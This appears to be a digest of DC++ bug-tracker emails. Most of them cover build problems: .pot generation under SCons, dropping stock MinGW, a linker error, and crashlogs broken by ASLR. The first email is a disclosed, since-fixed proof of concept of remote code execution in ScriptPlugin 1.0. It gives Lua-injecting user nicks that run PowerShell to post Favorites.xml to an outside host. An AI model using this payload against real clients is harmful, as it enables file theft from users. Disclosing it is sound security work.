[Linuxdcpp-team] [Bug 2047732] Re: [PoC] RCE in ScriptPlugin 1.0

[eMTee]

** Changed in: dcplusplus
   Importance: Undecided => Critical

** Changed in: dcplusplus
   Status: New => Fix Released

** Information type changed from Private Security to Public Security

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/2047732

Title:
  [PoC] RCE in ScriptPlugin 1.0

Status in DC++:
  Fix Released
Status in DC++ plugin SDK (C++):
  New

Bug description:
  I guess many of you atleast once heard of the most common mistake that
  unexperienced PHP coder makes, allowing SQL database input without
  escaping, which resulted in SQL injections and possibly server
  stealing.

  We got very similar situation that inherits from 2008 and probably
  earlier, from first client side Lua plugins, that still exists in our,
  lets call it "modern" client side Lua plugin - ScriptPlugin version
  1.0.

  For now we are going to cover NMDC protocol only, the ADC part has not
  been properly tested yet.

  There are several protocol commands that can be used for code
  execution, but we chose the most effective one - so called on demand
  command.

  Depending on hub settings such as nick length and allowed characters,
  it might even be possible to use our "kamikaze" user as code executor,
  but right now we are going to focus on a controlled hub that has
  ability to send any protocol data to any online user.

  So our on demand command will be following, where in context we need
  to think of  as of user nick containing exploitative code:

  [CODE]
  $RevConnectToMe  |
  [/CODE]

  There is one condition on this request - the user must be online if
  our target is to send a reply.

  When our target client is active, he will reply with:

  [CODE]
  $ConnectToMe  :|
  [/CODE]

  When our target client is passive, there is one more condition before
  sending a reply - kamikaze must not be passive, target will reply
  with:

  [CODE]
  $RevConnectToMe  |
  [/CODE]

  To fulfill first condition, we are going to prepare our kamikaze user
  by sending following command to our target:

  [CODE]
  $Hello |
  [/CODE]

  This will add user to our userlist and not set any flags such as
  passive or any other.

  Now we can name our kamikaze user, but we need to know if our target
  is active or passive, because  has different positions in
  two commands.

  For passive target user we use following nick:

  [CODE]
  
='LuaExec';os.execute('powershell\x20-command\x20"Invoke-WebRequest\x20-InFile\x20Favorites.xml\x20-Uri\x20http://mydomain.scan\x20-Method\x20Post;');--
  [/CODE]

  For active target user we use following nick:

  [CODE]
  
print('LuaExec');os.execute('powershell\x20-command\x20"Invoke-WebRequest\x20-InFile\x20Favorites.xml\x20-Uri\x20http://mydomain.scan\x20-Method\x20Post;');--
  [/CODE]

  "LuaExec" text is the execution trigger, originating from BCDC for
  execution of custom user commands, and a space that points to start
  position of executed code.

  As we know, spaces are not allowed in protocol nicks, but we use Lua,
  so a hexadecimal "\x20" within a string will do just fine.

  Since we don't want syntax error in our Lua code, we must not forget
  commenting out possible rests of our protocol command, accomplished
  with "--" at the end.

  Now lets look at reply commands that our target will try to reply
  with, but instead execute them without sending to hub.

  In active example we got following reply:

  [CODE]
  $ConnectToMe  :|
  [/CODE]

  Our final Lua code looks like this as the result:

  [CODE]
  kamikaze ='LuaExec';
  os.execute('powershell -command "Invoke-WebRequest -InFile Favorites.xml -Uri 
http://mydomain.scan -Method Post"');
  [/CODE]

  In passive example we got following reply:

  [CODE]
  $RevConnectToMe  |
  [/CODE]

  Our final Lua code looks like this as the result:

  [CODE]
  print('LuaExec');
  os.execute('powershell -command "Invoke-WebRequest -InFile Favorites.xml -Uri 
http://mydomain.scan -Method Post"');
  [/CODE]

  In both cases we got execution trigger "LuaExec" and we got a space
  which actual execution starts at.

  As the result, our target user gets a command line window popping up
  for hardly a second, executing our request and sending Favorites.xml
  as POST data to http://mydomain.scan/.

  At remote HTTP server we got a logger that shows us following:

  [CODE]
  [15:56:33]  Visitor notification: 1.2.3.4.US, D: LuaExec Test, U: 
POST /, A: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) 
WindowsPowerShell/5.1.19041.3803, H:

   User-Agent=Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) 
WindowsPowerShell/5.1.19041.3803
   Content-Type=application/x-www-form-urlencoded
   Host=mydomain.scan
   Content-Length=279
   Expect=100-continue
   Connection=Keep-Alive

   
   
   
    
   
   
   
   
   
  [/CODE]

  We got what we needed, so lets clean up the mess after us with
  following command:

  [CODE]
  $Quit |
  [/CODE]

  As we mentioned 

[Linuxdcpp-team] [Bug 2045404] Re: .pot generation is broken since a recent dcplusplus.rc change

[eMTee]

** Changed in: dcplusplus
   Status: Confirmed => Fix Committed

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/2045404

Title:
  .pot generation is broken since a recent dcplusplus.rc change

Status in DC++:
  Fix Committed

Bug description:
  An item is needed to remove from $SOURCES used in 
https://sourceforge.net/p/dcplusplus/code/ci/7cfc388170e408c621aa100f8f3563815f46566d/tree/SConstruct#l359
 and on for "Extracting messages to $TARGET from $SOURCES". 
  $SOURCES is a list of files to build and supposedly coming directly from 
SCons, a list of .h and .cpp files reside in dcpp and win32 folders with the 
exception of DCPlusPlus.o (DCPlusPlus.rc's generated object file). This action 
where $SOURCES passed as a parameter actually gets the strings from source 
files in dcpp and win32 for .pot generation. 
  I don't know how it worked before, maybe it's something caused by a change in 
Scons versions along the way that this .o file (and not the .rc one) is in the 
list. Or maybe it has been like that always so the .o file has been left on the 
list, as supposedly there's no strings with the gettext syntax to be found in 
an .o file. 
  Until now. Since .rc has changed recently with the new icons, gettext finds 
one item, a garbage string with zeros and whatever multibyte contents in the .o 
file and makes one garbage item in the .pot file coming from DCPlusPlus.o. 
  This rogue string then appears in the transalting interface but more 
annoyingly breaks the .po/.mo generation as well and has to be removed by hand 
when the build of the distro stops with an error.

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/2045404/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 2045404] Re: .pot generation is broken since a recent dcplusplus.rc change

[eMTee]

- [2023-12-28 06:51:22]  regarding the .pot generation, the basic 
reason is that because of the windres .rc to .o step being defined as a 
separate Action/Builder (presumably the same issue would apply with slight 
variations with the MSVC tooling under SCons -- the important part is that it's 
a separate/subsidiary/implied Builder/Action which triggers on *.rc files), the 
main consolidated build step in win32/ with all the .cpp files automatically 
invokes this windres Builder/Action and then treats the resulting .o (maybe 
different suffix for MSVC tools, but should be same issue) as a "source" for 
the overall dev.build('win32/') step
- [2023-12-28 06:58:21]  SCons $SOURCE isn't necessarily source files 
as such, but e.g., basically the same thing happens with all the other 
subsidiary builds (dev.zlib = dev.build('zlib/'), dev.geoip = 
dev.build('geoip/'), dev.miniupnpc = dev.build('miniupnpc/'), dev.natpmp = 
dev.build('natpmp/'), dev.client = dev.build('dcpp/'), etc) where they go 
through two SOURCE -> TARGET steps, the only the first of which actually has 
the "source file" .cpp in $SOURCES. By the time the main build happens, the 
source, as far as SCons is concerned, is the .o or .a file resulting from that 
subsidiary build. But because of how the xgettext invocation is set up, this 
.rc file being in the win32/ directory of that main dev.build('win32/') step 
means that because SCons views it as an implicitly two-step build through this 
custom Action/Builder, by the time xgettext runs, that .rc to .o transformation 
has already occurred and is hidden behind the SCons/Tool/mingw 
res_action/res_builder action
  abstraction.
- [2023-12-28 07:00:05]  This is testing with SCons 4.5.2, in 
https://packages.debian.org/sid/scons and 
https://packages.debian.org/trixie/scons
- [2023-12-28 07:04:36]  I'm not sure why it might have done something 
else before, but could imagine various reasons if it wasn't a quirk as you 
noted. In any case, this doesn't appear to be a bug as such, but a consequence 
of the general-purpose design of SCons's SOURCE and TARGET definitions, where 
$SOURCES is just the input files and $TARGETS is just the output files of each 
step, which can take other steps as input, and therefore $SOURCES doesn't 
necessarily contain source files. My inclination is to say the xgettext 
invocation using $SOURCES might be wrong, but another approach, if the .rc 
doesn't have to be localized itself, might be to move it out of win32/ if 
that's feasible/otherwise reasonable, which I've not checked
- [2023-12-28 07:06:54]  
https://github.com/SCons/scons/blob/6cbb718516e47dc0c5c8d0e6dc840d22f81e50cc/SCons/Tool/mingw.py#L122-L126
 is where SCons defines this resource compilation implicit builder/action for 
mingw and 
https://github.com/SCons/scons/blob/6cbb718516e47dc0c5c8d0e6dc840d22f81e50cc/SCons/Tool/msvc.py#L155-L162
 defines it for MS VC.
- [2023-12-28 07:08:59]  The issue is that the dev.build('win32/') 
step at 
https://sourceforge.net/p/dcplusplus/code/ci/default/tree/SConstruct#l444, 
which defines the context in which that xgettext runs, sees the output of that 
res_action/res_builder (the .o for mingw), not the .rc file which is its input.
- [2023-12-28 07:09:28]  (I know, kind of repeating my first message, 
but this time with specific references/citations to source)
- [2023-12-28 07:11:20]  SCons appears to know about C and C++ 
compilers kind of natively, haven't 100% tracked down the nuances of why this 
doesn't apply recursively to everything, but it has to ground out somewhere
- [2023-12-28 07:15:24]  Anyway, considering other approaches. One 
constraint is that while Python could easily do the required string 
manipulation here to ad-hoc fix this, it's passed within the "shell" or process 
execution context as an environment variable, and not one that's allowed to be 
changed by SCons scripts. So another approach might be to define another 
environment variable which is a function of $SOURCES but with whatever changes 
are required, then adjust 
https://sourceforge.net/p/dcplusplus/code/ci/default/tree/SConstruct#l366 to 
pass that environment variable to xgettext instead of $SOURCES directly.
- [2023-12-28 07:15:59]  Lots of options, just, which is the least 
kludgy, least fragile/delicate, and most maintainable.
- [2023-12-28 07:19:29]  $SOURCES is the result of 
https://github.com/SCons/scons/blob/6cbb718516e47dc0c5c8d0e6dc840d22f81e50cc/SCons/Executor.py#L241-L242
 so it's probably possible to call something similar from within SConstruct to 
replicate that with some variation, without having to kludge some way of 
copying out $SOURCES from that shell environment back into Python.

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/2045404

Title:
  .pot generation is broken since a recent dcplusplus.rc change

Status in DC++:
  Confirmed

Bug description:
  An item is needed 

[Linuxdcpp-team] [Bug 2045404] Re: .pot generation is broken since a recent dcplusplus.rc change

[eMTee]

 this should work:

diff -r 16df2b91f3a6 SConstruct
--- a/SConstructMon Nov 06 12:03:32 2023 +0100
+++ b/SConstructThu Dec 28 22:19:56 2023 +
@@ -363,7 +363,7 @@
 '--no-wrap', '--keyword=_', '--keyword=T_', '--keyword=TF_',
 '--keyword=TFN_:1,2', '--keyword=F_', '--keyword=gettext_noop',
 '--keyword=N_', '--keyword=CT_', '--boost', '-s', '--output=$TARGET',
-'$SOURCES'
+'${list(filter(lambda _: not str(_).endswith(".o"), SOURCES))}'
 ]
 pot_bld = Builder(action=Action(
 [pot_args],

 https://scons.org/doc/4.0.0/HTML/scons-
man.html#python_code_substitution

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/2045404

Title:
  .pot generation is broken since a recent dcplusplus.rc change

Status in DC++:
  Confirmed

Bug description:
  An item is needed to remove from $SOURCES used in 
https://sourceforge.net/p/dcplusplus/code/ci/7cfc388170e408c621aa100f8f3563815f46566d/tree/SConstruct#l359
 and on for "Extracting messages to $TARGET from $SOURCES". 
  $SOURCES is a list of files to build and supposedly coming directly from 
SCons, a list of .h and .cpp files reside in dcpp and win32 folders with the 
exception of DCPlusPlus.o (DCPlusPlus.rc's generated object file). This action 
where $SOURCES passed as a parameter actually gets the strings from source 
files in dcpp and win32 for .pot generation. 
  I don't know how it worked before, maybe it's something caused by a change in 
Scons versions along the way that this .o file (and not the .rc one) is in the 
list. Or maybe it has been like that always so the .o file has been left on the 
list, as supposedly there's no strings with the gettext syntax to be found in 
an .o file. 
  Until now. Since .rc has changed recently with the new icons, gettext finds 
one item, a garbage string with zeros and whatever multibyte contents in the .o 
file and makes one garbage item in the .pot file coming from DCPlusPlus.o. 
  This rogue string then appears in the transalting interface but more 
annoyingly breaks the .po/.mo generation as well and has to be removed by hand 
when the build of the distro stops with an error.

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/2045404/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 2045404] [NEW] .pot generation is broken since a recent dcplusplus.rc change

[eMTee]

Public bug reported:

An item is needed to remove from $SOURCES used in 
https://sourceforge.net/p/dcplusplus/code/ci/7cfc388170e408c621aa100f8f3563815f46566d/tree/SConstruct#l359
 and on for "Extracting messages to $TARGET from $SOURCES". 
$SOURCES is a list of files to build and supposedly coming directly from SCons, 
a list of .h and .cpp files reside in dcpp and win32 folders with the exception 
of DCPlusPlus.o (DCPlusPlus.rc's generated object file). This action where 
$SOURCES passed as a parameter actually gets the strings from source files in 
dcpp and win32 for .pot generation. 
I don't know how it worked before, maybe it's something caused by a change in 
Scons versions along the way that this .o file (and not the .rc one) is in the 
list. Or maybe it has been like that always so the .o file has been left on the 
list, as supposedly there's no strings with the gettext syntax to be found in 
an .o file. 
Until now. Since .rc has changed recently with the new icons, gettext finds one 
item, a garbage string with zeros and whatever multibyte contents in the .o 
file and makes one garbage item in the .pot file coming from DCPlusPlus.o. 
This rogue string then appears in the transalting interface but more annoyingly 
breaks the .po/.mo generation as well and has to be removed by hand when the 
build of the distro stops with an error.

** Affects: dcplusplus
 Importance: Undecided
 Assignee: cologic (cologic)
 Status: Confirmed

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/2045404

Title:
  .pot generation is broken since a recent dcplusplus.rc change

Status in DC++:
  Confirmed

Bug description:
  An item is needed to remove from $SOURCES used in 
https://sourceforge.net/p/dcplusplus/code/ci/7cfc388170e408c621aa100f8f3563815f46566d/tree/SConstruct#l359
 and on for "Extracting messages to $TARGET from $SOURCES". 
  $SOURCES is a list of files to build and supposedly coming directly from 
SCons, a list of .h and .cpp files reside in dcpp and win32 folders with the 
exception of DCPlusPlus.o (DCPlusPlus.rc's generated object file). This action 
where $SOURCES passed as a parameter actually gets the strings from source 
files in dcpp and win32 for .pot generation. 
  I don't know how it worked before, maybe it's something caused by a change in 
Scons versions along the way that this .o file (and not the .rc one) is in the 
list. Or maybe it has been like that always so the .o file has been left on the 
list, as supposedly there's no strings with the gettext syntax to be found in 
an .o file. 
  Until now. Since .rc has changed recently with the new icons, gettext finds 
one item, a garbage string with zeros and whatever multibyte contents in the .o 
file and makes one garbage item in the .pot file coming from DCPlusPlus.o. 
  This rogue string then appears in the transalting interface but more 
annoyingly breaks the .po/.mo generation as well and has to be removed by hand 
when the build of the distro stops with an error.

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/2045404/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 2032940] Re: Drop compile support for stock / regular MinGW

[eMTee]

Fixed in DC++ 0.881

** Changed in: dcplusplus
   Status: Fix Committed => Fix Released

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/2032940

Title:
  Drop compile support for stock / regular MinGW

Status in DC++:
  Fix Released

Bug description:
  Follow up to https://bugs.launchpad.net/dcplusplus/+bug/1029629

  [2023-08-21 16:27]  I thought some parts of DC++ specifically tried 
to detect and error on stock MinGW
  [2023-08-21 16:28]  Well, the wording in compile.txt does not seem to 
tell that. At least in my interpretation.
  [2023-08-21 16:29]  
https://sourceforge.net/p/dcplusplus/code/ci/default/tree/dcpp/compiler.h#l29

  [2023-08-21 16:32]  
https://sourceforge.net/p/dcplusplus/code/ci/default/tree/Compile.txt#l153 and 
on does not say we would not allow stock MinGW.
  [2023-08-21 16:33]  so either compiler.h is too strict or 
Compile.txt omits important information
  [2023-08-21 16:33]  "install compilers from regular MinGW " and so 
on...
  [2023-08-21 16:34]  but would current stock MinGW have the same 
problem as https://bugs.launchpad.net/dcplusplus/+bug/1029629 notes? that was 
last updated 10 years ago, by you
  [2023-08-21 16:35]  it's worth figuring this out a bit, because if 
working on stock MinGW is important, then the change still has to account for it
  [2023-08-21 16:35]  but if it's not, that does simplify things

  [2023-08-22 10:24]  Hm. 
https://www.reddit.com/r/cpp/comments/m6iokz/is_mingw_dead/
  [2023-08-22 10:27]  Actually it seems so. Both websites listed here, 
old and new, (mingw.org / osdn.net/projects/mingw/) are inaccessible for me 
right now.
  [2023-08-22 10:30]  There is https://nuwen.net/mingw.html fork but 
does not seem to be so much alive as the mingw-w64 project
  [2023-08-22 10:38]  And it is actually a mingw-w64 fork: "MinGW's 
official website mingw-w64.org provides various builds, but I maintain my own 
distro because I demand complete control. (It's a long story, but mingw-w64 
forked from mingw.org. Although my distro was based on mingw.org for many 
years, I now consider mingw-w64 to be the one true MinGW.)"
  [2023-08-22 10:40]  Same as https://www.msys2.org/ or WinLibs, what we 
already knew.
  [2023-08-22 10:48]  Versions still available in 
https://sourceforge.net/projects/mingw/files/MinGW/Base/gcc/ are too old or 
have known bugs in our release configuration.
  [2023-08-22 10:55]  
https://web.archive.org/web/20230619223133/https://osdn.net/projects/mingw/releases/
 shows the last release is based on gcc 9.2 but currently unavailable due to a 
hosting switch process of osdn.net.
  [2023-08-22 14:35]  So, not worth supporting, or?
  [2023-08-22 14:39]  We haven't been supporting it in the last 11 years 
(for Windows). Perhaps enabling it with a warning that tells it is untested and 
update the docs accordingly.
  [2023-08-22 14:41]  The latest release from 2021 may or may not fixed 
the issues we had back then. But we can't even test it now since the latest 
mingw-get cannot be downloaded and if it had been then most probably couldn't 
access the packages needed to install.
  [2023-08-22 14:45]  Or, yeah, remove it from the list of supported 
compilers in the docs, according to what it's been like for 11 years.

   Let's drop support (basically, even if currently it kind of works 
if one removes the #error in the .h file, it's apparently going to just decay 
from there)
   if we'd already been supporting it, then, sure, keep support until 
it breaks. but as is, not worth adding any more checking
   yeah I agree, looks like mingw-w64 and the wide variety of its forks 
will supply a quality and up to date compiler for the foreseeable future.
   Yeah, if one wants to try/support another compiler, then clang/llvm 
as iceman50 has discussed would be interesting, if mingw-w64 ever falters on 
Windows
   +1 to what cologic said  
   it's only going to get worse and not better IMHO keeping the stock 
MinGW

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/2032940/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 2028276] Re: gcc linker error: undefined reference to `__security_cookie' when building with gcc 8.5.0 based MinGW-w64 release

[eMTee]

Fixed in DC++ 0.881

** Changed in: dcplusplus
   Status: Fix Committed => Fix Released

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/2028276

Title:
  gcc linker error: undefined reference to `__security_cookie' when
  building with gcc 8.5.0 based MinGW-w64 release

Status in DC++:
  Fix Released

Bug description:
  Trying to build DC++ with https://github.com/niXman/mingw-builds-
  binaries/releases/tag/8.5.0-rt_v10-rev0 , win32, seh.

  Got multiple " undefined reference to `__security_cookie'" errors when
  linking the HTMLHelp lib. This is a new issue, does not happen with a
  gcc 8.1 based compiler.

  https://stackoverflow.com/questions/21627607/gcc-linker-error-
  undefined-reference-to-security-cookie probably tells the cause (link
  to MS docs is broken, originally
  
)

  It says you either need to link bufferoverflowU.lib or build without
  the /GS switch.

   says "/GS is roughly equivalent to -fstack-
  protector-strong -fstack-clash-protection -D_FORTIFY_SOURCE=2. It also
  requires optimization (e.g., -O2 or -O3)" yet the error still happens
  even when building debug in which case all optimizations should be
  disabled.

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/2028276/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1494814] Re: Add Visual Studio 2022 support to MSVCProj generation

[eMTee]

Fixed in DC++ 0.881

** Changed in: dcplusplus
   Status: Fix Committed => Fix Released

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1494814

Title:
  Add Visual Studio 2022 support to MSVCProj generation

Status in DC++:
  Fix Released

Bug description:
  With the release of VS 2015 it would be nice to get DC++ MSVCProj
  generation to support VS 2015 sln generation for compilation with VS
  2015.

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/1494814/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 2019492] Re: Tab control crash Win10+

[eMTee]

Fixed in DC++ 0.881

** Changed in: dcplusplus
   Status: Fix Committed => Fix Released

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is a bug assignee.
https://bugs.launchpad.net/bugs/2019492

Title:
  Tab control crash Win10+

Status in DC++:
  Fix Released

Bug description:
  When running DC++ compiled under MSVC (Currently using VS2022) and
  running on Win10+ DC++ will crash when using OwnerDrawn tabs and
  selecting button style which will cause DC++ to immediately crash in
  TabView->handlePainting (You can force this crash on every startup by
  going into DCPlusPlus.xml and setting the following 6.

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/2019492/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 2039677] Re: Generated crashlogs are missing all trace information when DC++ is compiled with any post-2020 built MinGW-w64 toolchain

[eMTee]

Fixed in DC++ 0.881

** Changed in: dcplusplus
   Status: Fix Committed => Fix Released

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/2039677

Title:
  Generated crashlogs are missing all trace information when DC++ is
  compiled with any post-2020 built MinGW-w64 toolchain

Status in DC++:
  Fix Released

Bug description:
  The last known mingw-w64 version where it is working is 

  The first known mingw-w64 version where it is NOT working is 

  Also tried some more mingw-w64 compilers based on gcc 9.x and 11.x with the 
same negative result.

  The documentation of
  
  
  is identical so no changes of defaults or no new options
  introduced/documented between these two versions.

  I tried with different options such as -glevel -gdwarf32/64 or set to
  produce DWARF4 info with -gdwarf-4 (see the attached diff of the doc
  versions of the above gcc manual page between gcc 8.1 and 11.2)
  without success.

  The size of the .pdb file generated using the single -g option keeps
  growing with every new gcc version from 6.x to 11.2 (gcc 11.2 produces
  ~6 times larger .pdb file than the size produced by 6.x if -g
  specified only).

  We use a 10 year old libdwarf version, patched in a couple of places
  for our CrashLogger. Trying a libdwarf update may be useful if it is a
  file format problem. But maybe it is not a format change in the .pdb
  file at all but in the way how the call stack needs to be processed in
  Crashlogger, etc..

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/2039677/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 2039677] Re: Generated crashlogs are missing all trace information when DC++ is compiled with a gcc 8.5 and later based MinGW-w64

[eMTee]

The issue is that the code is not capable of handling randomized address
spaces.

Even though --dynamicbase has been enabled for 10+ years no real ASLR
happened at all in the former DC++ executables due to bad linker
defaults described in the attached sourceware bug link so crash logging
worked up until we moved to a post-2020 MinGW-w64 toolchain.

A fix that is taking account of the offset of the randomized address
space has been applied.

** Summary changed:

- Generated crashlogs are missing all trace information when DC++ is compiled 
with a gcc 8.5 and later based MinGW-w64
+ Generated crashlogs are missing all trace information when DC++ is compiled 
with any post-2020 built MinGW-w64 toolchains

** Changed in: dcplusplus
   Status: New => Fix Committed

** Summary changed:

- Generated crashlogs are missing all trace information when DC++ is compiled 
with any post-2020 built MinGW-w64 toolchains
+ Generated crashlogs are missing all trace information when DC++ is compiled 
with any post-2020 built MinGW-w64 toolchain

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/2039677

Title:
  Generated crashlogs are missing all trace information when DC++ is
  compiled with any post-2020 built MinGW-w64 toolchain

Status in DC++:
  Fix Committed

Bug description:
  The last known mingw-w64 version where it is working is 

  The first known mingw-w64 version where it is NOT working is 

  Also tried some more mingw-w64 compilers based on gcc 9.x and 11.x with the 
same negative result.

  The documentation of
  
  
  is identical so no changes of defaults or no new options
  introduced/documented between these two versions.

  I tried with different options such as -glevel -gdwarf32/64 or set to
  produce DWARF4 info with -gdwarf-4 (see the attached diff of the doc
  versions of the above gcc manual page between gcc 8.1 and 11.2)
  without success.

  The size of the .pdb file generated using the single -g option keeps
  growing with every new gcc version from 6.x to 11.2 (gcc 11.2 produces
  ~6 times larger .pdb file than the size produced by 6.x if -g
  specified only).

  We use a 10 year old libdwarf version, patched in a couple of places
  for our CrashLogger. Trying a libdwarf update may be useful if it is a
  file format problem. But maybe it is not a format change in the .pdb
  file at all but in the way how the call stack needs to be processed in
  Crashlogger, etc..

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/2039677/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 2039677] Re: Generated crashlogs are missing all trace information when DC++ is compiled with a gcc 8.5 and later based MinGW-w64

[eMTee]

The error in libdwarf happens at
https://sourceforge.net/p/dcplusplus/code/ci/43196df8283bc3dfadc8eebd665c55804cef8954/tree/win32/CrashLogger.cpp#l292
being unable to find the address coming from the stack walk.

One problem is that the addr param in getDebugInfo function is a DWORD
so < 4GiB 64-bit addresses are getting truncated there. But this doesn't
tell why it fails on 32-bit as well.

https://sourceware.org/bugzilla/show_bug.cgi?id=19011 shows what's
changed in image base and ALSR defaults in the mingw-w64 build system to
comply with today's security standards. These changes applied at around
2020.08 and any build tried and the issue manifests with are after this
date.

Reverting the changes this bug entry describes using

'-Wl,--no-undefined,--nxcompat,--disable-reloc-section,--disable-
dynamicbase,--disable-high-entropy-va,--disable-auto-image-base,--image-
base=0x40', '-time'

and specifying -gdwarf-4 (since our old libdwarf complaining/doesn't
know about DWARF5) the crash log is generated fine again.


** Bug watch added: Sourceware.org Bugzilla #19011
   https://sourceware.org/bugzilla/show_bug.cgi?id=19011

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/2039677

Title:
  Generated crashlogs are missing all trace information when DC++ is
  compiled with a gcc 8.5 and later based MinGW-w64

Status in DC++:
  New

Bug description:
  The last known mingw-w64 version where it is working is 

  The first known mingw-w64 version where it is NOT working is 

  Also tried some more mingw-w64 compilers based on gcc 9.x and 11.x with the 
same negative result.

  The documentation of
  
  
  is identical so no changes of defaults or no new options
  introduced/documented between these two versions.

  I tried with different options such as -glevel -gdwarf32/64 or set to
  produce DWARF4 info with -gdwarf-4 (see the attached diff of the doc
  versions of the above gcc manual page between gcc 8.1 and 11.2)
  without success.

  The size of the .pdb file generated using the single -g option keeps
  growing with every new gcc version from 6.x to 11.2 (gcc 11.2 produces
  ~6 times larger .pdb file than the size produced by 6.x if -g
  specified only).

  We use a 10 year old libdwarf version, patched in a couple of places
  for our CrashLogger. Trying a libdwarf update may be useful if it is a
  file format problem. But maybe it is not a format change in the .pdb
  file at all but in the way how the call stack needs to be processed in
  Crashlogger, etc..

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/2039677/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 2039677] Re: Generated crashlogs are missing all trace information when DC++ is compiled with a gcc 8.5 and later based MinGW-w64

[eMTee]

More findings:
- It's not due to any change in binutils' strip.
- Using a .pdb file generated by an old, working compiler with a newer DC++ 
build results the same error.
- The problem is not gcc version related, either as the error happens when 
compiled with wide variety of toolchains from WinLibs, built on gcc 7.x...9.x. 
The only similarity in mingw-w64 commpiler tools tried and failed is that they 
all having mingw-w64 crt version 7 or later.
 The last known working mingw-w64 toolchain (link in the OP) is on crt v6. I 
couldn't find any other toolchains with crt v6 that would produce any chashlog 
file at all so for now it is just an observation and not something conclusive.

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/2039677

Title:
  Generated crashlogs are missing all trace information when DC++ is
  compiled with a gcc 8.5 and later based MinGW-w64

Status in DC++:
  New

Bug description:
  The last known mingw-w64 version where it is working is 

  The first known mingw-w64 version where it is NOT working is 

  Also tried some more mingw-w64 compilers based on gcc 9.x and 11.x with the 
same negative result.

  The documentation of
  
  
  is identical so no changes of defaults or no new options
  introduced/documented between these two versions.

  I tried with different options such as -glevel -gdwarf32/64 or set to
  produce DWARF4 info with -gdwarf-4 (see the attached diff of the doc
  versions of the above gcc manual page between gcc 8.1 and 11.2)
  without success.

  The size of the .pdb file generated using the single -g option keeps
  growing with every new gcc version from 6.x to 11.2 (gcc 11.2 produces
  ~6 times larger .pdb file than the size produced by 6.x if -g
  specified only).

  We use a 10 year old libdwarf version, patched in a couple of places
  for our CrashLogger. Trying a libdwarf update may be useful if it is a
  file format problem. But maybe it is not a format change in the .pdb
  file at all but in the way how the call stack needs to be processed in
